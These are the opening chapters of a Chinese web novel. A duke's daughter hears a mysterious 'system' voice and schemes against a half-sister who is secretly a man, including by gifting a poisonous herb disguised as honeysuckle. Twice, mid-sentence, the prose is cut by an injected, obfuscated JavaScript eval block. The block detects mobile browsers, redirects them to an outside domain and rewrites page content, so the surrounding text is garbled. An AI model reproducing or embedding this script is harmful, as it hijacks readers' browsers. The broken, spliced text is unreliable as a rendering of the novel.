《被女装宿敌反向攻略了》 1. 初次见面 “听说了么?那位大娘子一来就住进了夫人的旧院,她身边人还摔了夫人的遗物……” “小声些!二娘子就在不远处!” 徐昭意听得有些晃神,冷不丁被瓷片划到时,脑内突然飘出一道奇怪的声音。 “叮!检测到剧情人物......系统即将苏醒。” 她使劲儿摇晃脑袋,那声音依旧未散,她自个儿却是有些晕了。 “娘子!”凝露扑过来抓她的手,“您的心疾是不是又犯了?” 徐昭意缓了下,摇摇头,不动声色擦掉指尖血迹,余光瞥过廊下窃语的婢女,心底却在盘算。 看这情况……是只有她能听到这声音吗?是她中邪了,还是说……阿娘见不得女儿受欺负,特意派人来帮她了? 她闭了闭眼,压下眼底翻涌的酸涩,暂且按下思绪,凝神收拢雪堆里的瓷片。 阿娘生前最爱这只青花瓶,每每插一枝白梅,便能让满室生香。如今这花瓶却碎得七零八落,连最后一点念想都留不住。 算算时间,父亲也该到了。 这笔账她会算回来的。 “这些贱蹄子的嘴,奴婢迟早给她们撕烂去!” 凝露误以为她在为那些婢女的闲话伤神,紧握徐昭意的手,恨恨低泣,“娘子别再捡了!若夫人在天有灵,也不希望......” 徐昭意摇头轻笑,“雪天路滑,她们歇歇也好。而这花瓶……” 她听清不远处的细微响动,眸中泪花若隐若现,“是我太傻,以为这府里不会再添新人,便自顾自地把遗物放在阿娘的旧院......这到底是我的错。” 凝露瞪眼,刚想反驳,一双黑缎锦靴忽然停在她们眼前。 徐昭意眼睫颤动,缓缓抬眸—— 却见面前站着一道浓黑身影。那人垂首,墨色狐裘松垮地披在肩上,偏又穿着玄色的高领中衣,将脖颈遮得严严实实,只露出一截苍白下巴。 这不是父亲,而是一个她从未见过的女人。如果她没猜错的话......这便是她那所谓的庶姐了。 徐昭意惯来八面玲珑,此刻却感觉心疾复发似的,有些喘不上气。 本来压下去的心绪若雨后春笋般疯长,沉甸甸地压住她,提醒着一些刻意遗忘的往事。 三年前阿娘难产去世后,父亲便奉旨戍守边疆。 而今阴山同盟已成,他班师回朝时,不仅带回一个年长于她的庶姐,更对那人百般偏宠。 早在父亲归途之中,暗探便频频传来消息:庶姐夜半违令纵马,父亲非但不责罚,反而亲自为她执灯守候;若有将士多瞧庶姐两眼,必遭父亲厉声呵斥......等等事例不胜枚举。 也是可笑。父亲自幼教导她恪守军纪伦常,如今却为那庶姐屡屡破例。 她向来占有欲极强,连当年阿娘腹中尚未成型的胎儿都百般排斥,更何况这个突然出现的受父亲偏宠的庶姐? 她正想说些什么,脑中那奇怪的声音又乍然出现。 “叮!检测到......主角......”戏台子上的头角儿? 徐昭意虽不解其意,却也大致猜出她今日的邪状与面前这个女人有关。 这道奇怪声音不是阿娘派来帮她的,却是由这个女人引起的。 她看向对面,倏忽笑了。 那人感受到了什么,迟缓抬头,露出一张极具冲击力的脸——唇色极艳,肤色寡白,一双琥珀色的狐狸眼却又死气沉沉,白瞎了这般灼人的颜色。 徐昭意避开那人眼神,唇边笑容柔和可亲,“这位姐姐瞧着倒是面生......按说今日归府的该是父亲,这位姐姐是怎么进来的?” 萧青越随意“嗯”了声,目光并未看向徐昭意,只落在她裙摆的晕湿上。 她今日裹着天青色披风,露出点点素白长裙,本该是一副清丽动人的打扮,偏偏被残雪污了裙摆,显出几分可怜来。 萧青越下意识从袖口掏出一张干净绢帕,目光往上微抬,却是一凝,在她柔而亮的凤眸处顿了顿,最后落在她惯常扬起的唇角处。 她的笑容既不过分热切,也不显得勉强,乍一看和善温顺,却让他无端地联想到一些往事。 那个女人也是这般楚楚可怜地望着他那所谓的生父,同样的笑容,却是句句软刀子。 不出半日,他便被一纸诏书送入边疆。 无召不得还。 他眸底的那丝温度瞬间褪去。 在徐昭意疑惑的目光下,他笑了笑,反手用绢帕给自己腕间的银镯拭去残雪。 “你是这府上的嫡女,”他将绢帕折好,重新收回袖中,“没必要把自己折腾成这样。” 徐昭意抿唇不语,目光落于他的腕间。 那个银镯刻着狐狸纹,双狐尾巴蓬松如云,两尾交织,交叠的狐狸眼里是一颗血红莹珠。 此做工之精细,连她见了也会惊叹。 听闻庶姐原先是跑镖的,生活困顿不安,此银镯想必是父亲送的。 ......明明以前父亲有了好东西,会第一时间想着她。 萧青越见徐昭意迟迟不语,不知想到些什么,又垂眸望向她。 她的眼眸闪过星点水光,再一看又好似错觉。 他觉着自己这般迁怒一个小娘子也没意思,正想先低头时,突然瞧见她唇边细微上扬的弧度。 他缓慢眨眼,面无表情盯着她面上的神态,眼神如刀刮下,逼得她偏过头去。 两人静默之际,一道熟悉又陌生的粗狂声音顿时响起,“昭意来了?来得正好,快来见过你阿姐。” 徐国公疾步走着,他的面色难得柔和,满眼慈爱地看了眼萧青越,“你阿姐随为父在阴山吃了不少苦头,如今才回府,你得好好待你阿姐。” 徐昭意抿唇不语,阿娘只有她这一个女儿,她的阿姐不是什么阿猫阿狗就能当的。 徐国公见她不说话,又催促道:“昭意,快叫阿姐。” “她为什么会在阿娘的院子里?”徐昭意艰涩开口。 徐国公看她一眼,无措地挠头,目光不自在地望向萧清越,在触及他视线的那一瞬,又猛地收回目光,转而看向徐昭意,粗眉拧了又拧。 “你阿姐初来乍到,府里又没有合适的院子,便只能让她暂且住这里了。阿爹以前怎么跟你说的?女儿家不要动不动就哭啼,那样不像话。” 徐昭意垂眼遮住雾气,樱唇紧抿。柔和日光扑洒在她身上,照得她面色几近透明。 就在两人僵持不下的时候,一道声音忽而响起:“阿妹。” 徐昭意这才发现,他的声音带着雌雄莫辨的玉质,意外好听。 眼前忽而一暗,浓黑阴影铺面而来,将她的身影牢牢罩住。 他垂眸望她,语气带着柔和安慰:“阿妹声名远扬,如今得见一面,果真名副其实。” 徐昭意与他不过五个拳头的距离,清晰看见他的眼里无波无澜。 他在她面前懒得掩饰,分明只为应付父亲。 徐国公看着这一高一矮的两道身影,欣慰笑道:“还是做阿姐的懂事。” 话音未落,徐昭意忽而拉过对面人的手,那双手对比她的手来说大得过头,她眼底流光一闪,面上却不显,只低声叹息:“你这般懂事,可否将阿娘院落还与我?” 她冰凉的手腕被猛地掐住,灼人指腹重重压下,又倏忽松开。 徐昭意低头一看,手腕被掐得微青,连带着用不上力。 “阿姐不习惯与他人近身,还望阿妹见谅。”玉质般的嗓音淡淡响起,让人格外生厌。 徐昭意咽下唇边痛呼,不由抬头,清楚看见那人低头不停擦手的举动。 她笑意微敛,转眼落泪,“是我不好,不知道你不爱生人近身......” 她话音低落,手腕伤痕又明显,若是放在三年前,徐国公早就为她鸣不平了。 可今日没有。 他不仅没有这么做,反而还挡在那个闯入者的面前,紧张兮兮地上下打量着,“你阿姐初来乍到,又惯不爱与人近身,昭意你……别吓着她了。” 那个闯入者偏还假惺惺地道一句:“阿妹原是无意,父亲不必如此。” 徐昭意袖中的指尖深深掐入掌心,却还是恭恭敬敬福了一礼,嗓音柔和:“阿娘生前最喜热闹,她住这里也好……只是这花瓶碎了,女儿到底愧对阿娘,便先离开了。” 说罢扶着凝露离去,徒留徐国公在原地,满面的复杂无措。 轻缓步声混合着雪地沙沙声,逐渐汇成一股诡怪韵律,细听如含霜雪,却又在踏入昭明苑时顷刻化水,仿佛从未存在过。 苑内地暖氤氲,与外界寒天截然不同。徐昭意褪下披风,随手搁在案边,指尖掠过那卷未读完的手札,却只恹恹翻动两页,便又停住。 “青鹿苑廊下的雪积攒几日了吧?父亲如今偏宠那人,想必样样怠慢不得,你唤人去与赵管家说一声,让他派人去把那处扫干净。” “那雪几日扫不完,还不是那多舌之人怠慢……”凝露嘀咕着离去,没多久又归来。 她挥去其他下人,仔细处理伤处,满面的愤愤不平,“老爷也太过分了吧?不过三年未归家,如今竟然偏帮一个外人!” 府邸不大,一共三个院落,是徐国公发达前买的,如今官运亨通也没想着换。是以那外室女一来,也只能住阿娘旧院。 但这与她又有什么关系呢? 父亲管不住自己,却让她来承受痛苦。 何其可笑。 徐昭意面无表情地盯着手札。 凝露冰敷完,端起冰盆欲离,还没走几步,徐昭意又唤住她。 “娘子怎么了?”凝露疑惑。 徐昭意弯眼,轻咳了声:“劳烦凝露帮我把前段时间晒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749896|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干的那匣草拿过来。” 凝露脆声应下,转身离去。 徐昭意感觉腕间一片麻木,便换只手翻阅手札。这卷记载太子与高氏兴衰的札记,是外祖生前批注得最为详尽的一册。 三年前外祖病逝时,梅家特意将这些朝政手札送入京中,就怕她这个独撑门楣的外孙女在外界失了分寸。 手札上“少时了了,长大未佳”几个字力透纸背,透着外祖浓浓的不甘和颓唐。谁能想到,那个少时被誉为“仙人童子”的太子,如今竟落得个暴戾难驯的名声。 更讽刺的是,此番阴山盟成,陛下犒赏功臣,却偏偏将立下首功的太子远调戎州……那可是连流放犯人都闻之色变的瘴疠之地。 外祖在天之灵若知他心心念念的良才美玉沦落至此,不知该作何感想。 她有些看不进手札,便将书合上,指尖无意识摩挲着书皮。 凝露拿的那匣草名为钩吻,乃著名毒草,微量可止痛,若是重量…… 她抬眸望向窗外纷扬的雪,漫不经心想到师父说的后果。 “此物不可滥用,倘若滥用,轻则恶心呕吐,重则腹痛至幻,直至死亡。” 她唇边的笑意还未扬起,又倏忽想起那个女人打量她时的目光,轻视、厌恶,甚至还带着点惋惜。 惋惜……她需要她惋惜? 徐昭意生生气笑,连带着呼吸不畅,眼前渐渐发晕,刹那间回到蝉鸣声声的从前。 “昭意可知自己的名字打哪儿来的?”阿娘教她一笔一画地写字,“就是取自建国以来咱们使用的昭意通宝!” 小小的昭意仰起脸,窗外蝉鸣声声,阿娘的嗓音清润如水:“你是梅家和国公府的掌上明珠,这一生想必不会有什么坎坷。阿娘不求你大富大贵,只求你如通宝一般外圆内方,明处事、正风骨。” 那时的她乃京城贵女头一等的尊贵,母亲是梅相之女,父亲是徐大将军,走哪儿都是被奉承的对象。 可惜高家倒台后,外祖也愤而辞官,梅家就此败落。若不是父亲请旨赴战场,只怕国公府也跟着衰颓。 徐昭意不得已独撑国公府门楣,三年来早已练就一副铁石心肠。若阿娘知晓她如今竟用所学害人,可会后悔为她取这个名字? “少时了了,长大未佳”又何尝不是在说她。这般想着,心脏突然抽痛。 凝露再回来时,就见自家娘子斜靠在床边,似在垂眼小歇。 她正犹豫自己要不要上前,就见娘子乍然睁开眼,剔透的眼珠子一眨不眨望着她。 像个没有生气的瓷娃娃。 “娘子又犯病了?”她一惊,手中匣子差点不稳。 徐昭意抚住心口,顺手递了一本泛黄医书给凝露,“好凝露,你给我念念这个吧,念着念着我就不疼了。” 凝露沉默看着面前行文晦涩的医书,和自家娘子苍蝇似的小字注释,顿时头大如牛:“娘子!” 她泪眼汪汪盯着面前少女,却见少女柔弱苍白,垂眼低落道:“也罢,是我为难凝露了......” 凝露心中顿生愧疚,她一把接过医书,清清嗓子,磕磕绊绊念着。 朗朗诵书声伴着清淡药香,径自汇入夜晚梅林,带出一抹天青色的身影。 徐昭意抱着一个蛇纹匣,面带清浅笑意,翩然走向青鹿苑。 凝露好不容易不用念书,便打伞为徐昭意遮风雪。她左顾右盼好一会儿,终究没忍住好奇,“娘子为何要送那个贱......那位东西?她何德何能可以让娘子在半夜为她奔波!” “三日前是阿娘的祭日。”徐昭意声线柔和,却答非所问。 凝露没听懂,但她一向看不懂自家娘子,便只闷闷回了句:“娘子心真善。” 徐昭意看向灯火通明的院子,笑了笑,眸底染上雪意。她掂了掂怀中的匣子,唇边笑意加深,迈步走向青鹿苑。 “二娘子,这是大娘子的院子......”守门婢女看向徐昭意的眼里充满为难。 国公爷与她们下令,任何人都不许擅自靠近青鹿苑。 她们不知二娘子是否算在内,便只能拦下了。 凝露气狠了,撸着袖子就准备上前理论。 她在府里积威已久,那婢女一见她动作,竟不由自主地后退一步。 “凝露。”徐昭意轻声唤道。 凝露扁嘴,不情不愿收回手,规规矩矩站到徐昭意身边。 徐昭意又转过头,看着那左右为难的婢女。她正准备说些什么的时候,一抹带有压迫感的黑影骤然遮住她眼前的光线。 她还未来得及抬头,面前的人就开口了:“既是阿妹来访,便进来吧,以后也不必拦了。” 是那个女人雌雄莫辨的嗓音,带着玉质的凉,幽幽罩在她的正上方。 与此同时,那道奇怪声音也随之响起。 “触发关键剧情......” 2. 赠送赔礼 关键剧情......是让这头角儿有生命危险的关键剧情吗? 徐昭意微磨指腹,面上笑容不变,好像什么也没听见。 她仰脸,从骨感十足的下颚线一路往上看,顺着高而直的鼻梁落进半明半昧的狐狸眼里。 她看得很慢、很细,对于二次见面的人来说有些冒犯。但那道目光柔柔的,像春日柳絮划过面颊,虽痒但没有攻击力。 萧青越任由她盯着看,唇边笑容懒散,眸底依旧没什么情绪。 “看够了吗?”他虽是这么说,但话语里却没有催促意味。 徐昭意收回目光,垂眸露出一个柔和乖巧的笑来:“看够了,阿姐真好看。” 这是她第一次开口叫“阿姐”。 萧青越掀起眼皮,透亮眸底阴霾不减,唇边却带着抹若有似无的笑意,“这是给我的?” 徐昭意爱惜地摸了摸匣子,抬头笑得愈发柔软,活脱脱一个好妹妹形象。 “阿姐初到时,阿妹不慎冒犯到阿姐,阿姐虽宽宥了阿妹,可阿妹思来想去愈发愧疚,故而准备这小小的见面礼,还望阿姐笑纳。” 顿了顿,她又贴心道:“上次见面时,阿妹听阿姐的嗓音有些沙哑,便选了些亲手晒的金银花给阿姐。阿姐不舒服时,拿热水冲泡一下就好。” “金银花?”萧青越语气轻柔到诡异,面上神情徒然狰狞了一瞬,又似乎只是她的错觉。 徐昭意不由自主地往后退了一步,她刚想笑着说些什么,一股极其炽热的触感从她的下颚划过,带动一股热流从面颊冲到头顶,余下一片战栗不息的麻意。 她感受到了一股杀气。 也清楚地听见自己后槽牙颤动的声音。 更是根本止不住颤动。 羞耻从脊椎窜上来,颤抖着爬向全身,烧出一片细密痒意。 她闭了闭眼,咬牙压下热潮,再睁眼时已经可以笑吟吟地望过去,却又是一怔。 她怀中的匣子已然到了对面人手里。他掂量着匣子,面上死气尽散,笑得极具攻击力,“夜已深了,我就不招待阿妹了,还望阿妹见谅。” 徐昭意缓缓吐气,狂跳的心被无形按回去。 她也不生气,目光柔柔扫过蛇纹匣,唇边笑意柔软,“阿妹祝阿姐好眠。” 言毕,她福身告退,拉着凝露转身离去。 一旁的凝露忍了许久,待到远离青鹿苑,这才小声嘀咕道:“瞧她那张狂劲儿,若不是老爷抬爱,哪有她嚣张的份儿?” 她惴惴看了眼徐昭意,心底又难受得紧。若不是梅家衰落,老爷哪敢做出这般行径? “别想啦,”徐昭意揉揉凝露的头,依旧是那副柔柔的腔调,却无端泄出些冷意,“梅家衰落前,父亲不也背叛了阿娘吗?” 若不是父亲背叛了阿娘,阿娘何至于气急攻心引发胎动,最后难产而亡? 阿娘是被父亲害死的。 另一边,萧青越捏着匣子,面无表情地走回寝居。 他将匣子放在桌子上,琥珀色的瞳孔注视着银蛇纹路,显得有些散涣。 那个平平无常的晴朗下午,那个女人也是这么温柔笑着,将那个匣子递给第一次被禁足的母亲。 “上次见面时,妹妹听姐姐的嗓音有些沙哑,便选了些亲手晒的金银花给姐姐。姐姐不舒服时,拿热水冲泡一下就好。” 一样的笑容、一样的说辞、一样的行为。 他这个妹妹可真是好样的。 才第一次见面,就想着毒死他。 * 翌日清晨,徐昭意难得起得比较晚。她刚洗漱完,就有婢女报国公爷来唤。 她听完后面上没什么波动,细白手指玩转腰间流苏,也不提要出去。 再次捕捉到婢女的焦急神情时,徐昭意笑了笑,叫婢女拿来脂粉,遮住腕边红痕后,这才施施然起身,伸出手。 那婢女怔了怔,忙不迭扶娘子,顺着节奏慢悠悠往前厅走去。 她似是刚学会伺候人,扶人的力度和走路的速度都不大妥。 “你叫什么?”徐昭意漫不经心开口问。 “花,花尽。”婢女磕巴着,“奴婢是新来的,冯嬷嬷安排奴婢与凝露姐姐轮流值守。” 冯嬷嬷是徐昭意的奶娘,这几日回家探亲,临行前留了个性子沉稳的婢女,说是与凝露互补。 徐昭意对这些向来可有可无,这么多下人中,她只在乎冯嬷嬷跟凝露。 她慢悠悠道:“风往尘香花已尽,日晚倦梳头。好名字。” 花尽垂头应声,握住徐昭意的手臂略微松泛,姿态也比一开始要顺从。 徐昭意看着她的姿态,眼底没什么情绪波动。 两人一路慢行到前厅,徐昭意在跨过门槛的那一刻,面上这才带了些愁意。 “昭意,”徐国公正在房内踱步,听见响声急忙转身,“你......你先让婢女出去。” 花尽没动,徐昭意冲她点头,她这才垂头退下。 徐国公望着自家女儿,目光在她手腕处顿了顿,没瞧出什么明显伤口。他略松了口气,嘴唇蠕动许久,蹦出句:“昨晚你给你姐姐送药了?” 可笑父亲从未关注过她的行程,昨日她不过送那人一样东西,他便立马知道了。 不过钩吻草不是寻常物,一般人只会把它当成金银草服用,从而丧失性命。 父亲手底下的军医,她或多或少领教过。她不觉得他们有本事看出来。 徐昭意垂眸,冷淡道:“父亲不是要昭意好好待阿姐吗?” “你有这份心便是好的,只你阿姐体质特殊,一般药材恐不适用。下次你再想送药材,便先交给为父瞧瞧,为父帮你把关。”徐国公欣慰抚须。 徐昭意瞥他一眼,勾了勾唇。 徐国公讪讪一笑,下一刻又急速道:“除那次外,我没背叛过你母亲。” 庶姐是一个阴山军妓的女儿,据传那军妓只伺候徐国公,所以她应当是徐国公的亲女儿。 按时间线来说,她诞生那天,父亲与阿娘甚至还不认识,所以确实不存在背叛之说。 徐昭意笑:“父亲说是就是吧。” 徐国公仔细瞅着女儿神色,却什么也没看出来。他不再细想,转而道:“明日宫宴,你准备好了吗?” 宫宴年年都有,唯有今年格外特殊。原因无他,如今独得圣宠的贵妃娘娘曾放言,开春就为二皇子选妃。 虽说本朝还有个太子殿下,可朝中大臣跟人精儿似的,知道太子离被废不远,便卯足了劲儿讨好最得圣眼的二皇子。 冬日风大,徐昭意拢紧披风,轻缓道:“父亲放心吧。” 她说得含糊,徐国公听得也迷糊。他好半响想开口说些什么,最终也只憋出一句:“二殿下不是良人。” “女儿知晓。”徐昭意垂眸,态度不咸不淡。 徐国公看出女儿的敷衍,却也不知如何是好。若放在三年前,他定会严厉管教她。可他昨日才回府,与女儿尚且生疏,有些话就不好再说。 两人静默许久,最终还是徐昭意捂着胸口,面色发白地看着徐国公:“女儿身体不适,就先回去了。” 徐国公点头,他看着女儿幽影似的背影,不由得想到青鹿苑那位。这俩孩子原是有口头婚约的,只是如今造化弄人......他不由叹气。 千万般担忧也阻止不了宫宴的到来,翌日黄昏时,无数华丽马车涌入宫廷内殿,走下一个个似画般赏心悦目的少女。 她们三五成群地走向内殿,面上的活泼神色乍变,一个个敛衽低眉,对殿内坐于上首的雍容美妇人趋奉承欢,眉眼间尽是恭顺逢迎之色。 “娘娘雍容华贵,如牡丹临世,臣女仰慕已久,今日得见,真真是三生有幸。” “娘娘气度非凡,连这宫里的花儿见了您,都自觉黯然失色呢。” 端贵妃摇着团扇,眉间花钿妖媚夺目,笑颜回应众贵女巧话,姿态温柔又不失威严。 她忽而眼前一亮,放下折扇,朝着某处亲切招手,“昭意来了?来给本宫瞧瞧。” 繁花堆里飘出一位弱质纤纤的美人,她的五官线条柔和,朱唇小巧柔嫩,漆黑凤眼总是含满笑意,扇子似的睫毛一眨,便悠悠晃进人们心底,使人忍不住怜爱。 “娘娘万福金安。”连声音也是美极,似和畅春风,徐徐飘进众人心尖。 端贵妃抚过少女发顶,又将案上的一碟荷花酥递给她,“本宫记着你爱吃荷花酥,爱吃就多吃些。” 她扫过殿内端正坐着的夫人娘子,柔声笑道:“这么些年来,也只有你与本宫最投缘了。” 徐昭意双手端碟,步步生莲走回案席,姿态可爱又大方,在一众贵女中也是出类拔萃的。 而那个庶姐,因着刚认回来,连来宫宴的请柬都没有。 她刚一落座,荷花酥还没吃两口,一旁的芙蓉香猛地袭来,带着轻声呢喃:“我记着你与我一样爱吃玉露团呀?难道是我记错了?” 石榴裙配泥金帔子,是她的闺中好友卢平丹。 徐昭意没好气地瞪她一眼,拈起一颗荷花酥,慢条斯理地啃着。 卢平丹眼珠子骨碌碌转,窃笑道:“据我家传来的风声,贵妃娘娘已经着手相看小娘子了。今晚你得她独此殊荣,岂不是好事将近?” 徐昭意无奈注视卢平丹,她是个疏淡性子,好友却热情似火,时常为她与二皇子的事情出谋划策。 徐国公曾经念叨过,说她家与卢家同为武将世家,怎么卢平丹养成一副武将子女习性,她却还柔柔弱弱的,没半点将家儿女的血气? 但这些都不影响两人自小的交情。 徐昭意弹下她的脑门,嗔道:“你一天到晚都在关注些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749897|174290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢!” 卢平丹嘿嘿一笑,随手捞起一壶青梅酒,往白玉杯里灌,“我不管,你都好事将近了,那高低得给我喝几杯!” 徐昭意拗不过她,只好杯杯饮尽。她饮到后头有些红脸,便提前出来透气。 现下寒风拂面,浅薄酒意被吹走大半,她便提着几分兴致绕廊闲步。 “叮!男二初闻女主,陷入关键抉择......” 徐昭意眉眼一厉。 又是这道奇怪的声音!男二、女主,这到底是什么?戏台子上的角儿吗?那庶姐是戏台子上的头角儿? 一道熟悉的清润嗓音忽而响起:“我不能背叛昭意妹妹!” 她深吸一口气,躲在墙后观望。 前方站着一对男女,女的雍容华贵,男的玉面朱唇,两人长得有些相似。 是端贵妃娘娘和二皇子萧青恒。 “母妃先前叫你接近徐家幼女,是因徐国公只她一个女儿。现今她又冒出个姐姐来,那个姐姐的身体还比她好,你何不选姐姐呢?”端贵妃嗓音温柔,语调款款。 “恒儿,你是皇子,你未来是要担当大任的,你的正妃乃至皇后必须能为你诞下健康的子嗣。至于徐家幼女......待你当大任后,什么样的女人没有?你何至于为她放弃现在的一切?” 女人的声音温柔成熟又带着诱惑力,连徐昭意都觉得她讲得极好。 她自个儿的身体她最清楚不过,近几年来生儿育女是不可能的事。可皇家一向看重子嗣问题,若有了她的替代品,她便也不是唯一项了。 徐昭意目光落在萧青恒脸上,他还未及冠,面庞青涩秀气,本是一副清俊飘逸的长相,偏偏琥珀色的狗狗眼里写满纠结,多了几分优柔寡断的孩子气。 她忽而想起那个女人也有一对这样的眼珠,二殿下是遗传到陛下的胡人血脉才有此姝丽颜色,那个女人呢?她的母亲也是胡汉混血吗? 可胡人也不是谁都有如此瞳色,琥珀眼珠一般为贵族所有。她的母亲总不会是胡人贵族出身,可能只是巧合吧。 “我......我不能背叛昭意妹妹。”萧青恒倔强地看着端贵妃,只一味重复着。 端贵妃若有似无地笑了下,垂眸抚过艳红长甲,宽和道:“恒儿过两年就及冠了,母妃也不逼你,你自己好好想想罢。”她招来远远侍立的宫女,扶着宫女的手款款离去。 寒风中,只余萧青恒失魂落魄地站在原地。 徐昭意耐心躲在墙后,待远处的脚步声彻底消失后,她才理好神色,垂头走出宫墙。 一步,两步,三步。 “昭意妹妹!”少年人藏不住情绪,“你怎么在这?你......”他看着面前的徐昭意,声音戛然而止。 面前少女雪白纤细,本该被人捧在手心里哄着,偏偏此刻凝泪垂眸,端的是柔弱惹人怜。 萧青恒一下慌神,在他跟徐昭意认识的十几年里,他从未见过她落泪,也从未设想过她落泪。 “昭意妹妹,我......” “殿下不必为臣女忧心,臣女只是触景生情,一时没忍住罢了。也算不得什么大事。” 她垂下眼睫,唇角抿出一抹恰到好处的弧度——既不过分热切,也不显得勉强,像是天生就该这样温顺笑着。 可她明明天生耀眼,不该是这副自贱模样。 萧青恒乍见她如此,一颗心在酸水里泡了又泡,声音比平日轻了三分,“昭意妹妹还拿我当外人吗?有伤心事却不与我说?” 徐昭意攥着绢帕,长甲在掌心留下一道红痕。 “也不算什么大事,只是我有姐姐了。”她艰涩开口,“比我健康,比我更讨爹爹欢心……” 眼尾落下一滴泪,“我怎么会有一个样样比我好的姐姐呢?” 萧青恒紧盯她唇边的苦笑,心底针扎般的疼,不由得松开袖中攥紧的拳头,伸出拇指,一点点的抚上面颊,轻轻拭去她眼尾的泪珠。 “谁准你看清自己的?”他话音带着恼意,动作却愈发的轻,“在我心里,你比你姐姐好一万倍!” 这就是所谓的男二么......徐昭意由泪转笑,笑音徐徐似清风,勾得人耳尖通红。 萧清恒猛然收回手,躲闪着眼睛不敢瞧她,却又被她不时作弄。 两人打闹着离开的时候,一道黑影从墙后闪过。 一个贴着赤狐面,穿着暗红胡服的高马尾少年郎躲在阴影处,漫不经心扫过墙后两人,眸光嘲弄。 少女拖长的黑影扫过暗处皮靴,树叶骚动,眼看着那对有情人缓步离开,下一刻,一抹更长的黑影踩过少女黑影的尾巴尖儿覆过。 浓黑阴影蚕食掉柔淡月光,少年郎缓缓走出,赤狐面下的那对琥珀色眼珠僵硬转动。 带着浓郁血腥气。 不多时,一声凄厉尖叫响彻凤栖宫。 3. 移情别恋 因宫中出急事,京城夜空还残留着烟花余韵,宫宴便戛然而止。 徐昭意拢披风、跳石块,身旁花尽正踩在雪地里,小心提着娘子裙摆和披风下摆。 “娘子!娘子您可算回来了......”凝露兴冲冲跑到娘子面前时,却见娘子示意她轻声。 凝露刚有些委屈,徐昭意便拍了拍她的脑袋,叫她往前看。 只见一个通体雪白的信鸽落在她们面前的梅花树枝上,脚上系金线,黑豆般的眼睛一眨一眨,翅膀微微抖动,似乎在催促着什么。 徐昭意面上荡开一抹笑。 她与萧青恒少时同在弘文馆习文,在一众学员中,唯有她担得起二皇子“青梅”之名。 及至年长,二人不便再私下往来,萧青恒便想出飞鸽传信之法,主动与她保持联系。 徐昭意抽出信笺,展开睨了眼,眸底刹那间冷极。 信上赫然写着:“宋表姐托我问一句,明日宋府花宴,昭意妹妹可否携府上大娘子一同前来?” 她轻轻呼口气,转而放飞信鸽。 眼看着信鸽不见背影,她又重新恢复笑颜。 “这小东西当真好运,竟得了姑娘的喜爱。也不知它是从哪儿飞来的,每隔一段时间就要来见姑娘,当真是粘人得紧......”凝露帮花尽托着徐昭意的另一边裙底,絮絮叨着。 徐昭意含笑听着,过了段时间后,冷不丁道:“阿姐没进宫,也不知除夕是怎么过的。” 凝露提到这个就来气,“谁家娘子大过年的把自己锁在院子里?她那院子跟个铁桶一样,刘家嫂子想进去讨个吉利话都被赶出来了!她......” 凝露说了这么多,徐昭意只抓住了一个重点:“她没给你们发红封?” 她往年都会给府里下人发过年红封,不多,只图个吉利,大家也渐渐习惯了。 可今年她进宫,管家权短暂交由那个女人处理,众人自是没了红封,也开始暗地里比较两位娘子。 这般想着,徐昭意眉眼弯弯,只道:“大家的红封我都备好了,凝露和花尽明日帮我派发一下。” 凝露兴高采烈地应下,花尽只是点头。 眼见着快到寝屋了,徐昭意扭头看着凝露,又问道:“阿姐今日的身子如何?” 凝露瘪嘴,不高兴地回答:“没听说有什么事。” 她又快速加了句:“娘子与其关心她的身子,不如多关心关心自个儿。您今日的药还没喝呢!” 徐昭意被凝露钻了空子,只得接过药碗,抿唇瞪着乌黑药汁。药气辛烈扑鼻,比老姜汤更甚。 她捏鼻饮药,辛涩药味在喉间炸开,似花椒碾过喉口,呛得眼泪直流。 花尽默默递来绢帕,徐昭意含泪擦拭,思绪却莫名飘远。 她上次送给青鹿苑那位的礼物,也不知打开了没有。 那可是她精挑细选的防身之物,就这般送给一个外人,也是便宜那位了。 药效渐起,脑中杂思消散,她渐渐睡去。 翌日还未起,院中已然泛起轻声碎语。“你们听说了吗?西华宫昨夜又闹鬼了!” 昭明苑的婢女凑在一起嘀嘀咕咕,有个衣着鲜艳的婢女正挤眉弄眼笑:“据说皇后娘娘每年都要在这时候回来看看自己曾经的姐妹,你们猜为什么?” 众婢女齐齐嘘声,这故事都烂大街了。自宋家姑奶奶和离入宫,与闺中密友共侍一夫后,这些小道消息就没断过。 一个尖脸婢女睨了眼正在说话的,不阴不阳:“叶荷,你这说辞都说了几百年了,能不能换些新招儿啊?你不是有个在宫里做侍卫的哥哥吗?怎么就知道这么点消息?” 叶荷哼笑一声,不理睬她,接着道:“我哥与我说昨夜不一样,那是真闹鬼了!据传皇后娘娘对太子殿下三年未归宫不满,昨夜现了红衣原型,一招让贵妃娘娘见血!陛下急得连夜往戎州寄了封家书,那家书刚寄过去,贵妃娘娘的伤势便渐渐稳定。虽说还是昏迷不醒,却也没恶化了。你们说奇不奇?” 众婢女哗然,莺啼嘁嘁喳喳传遍整个院子,很快惊动了主屋。 “你们在吵什么!”凝露抄着把扫帚跑出来,叉腰望着一圈婢女,点了点叶荷,又点了点尖脸婢女,“你俩是不是又吵架了!” 叶荷与尖脸婢女对视一眼,同时摇头。 平日里的恩怨就算了,这要闹到娘子面前,那可是大大的跌份。 凝露的本意也不是逼问她们,眼见这些人都收了嘴,这才冷哼一声,大摇大摆走进主屋。 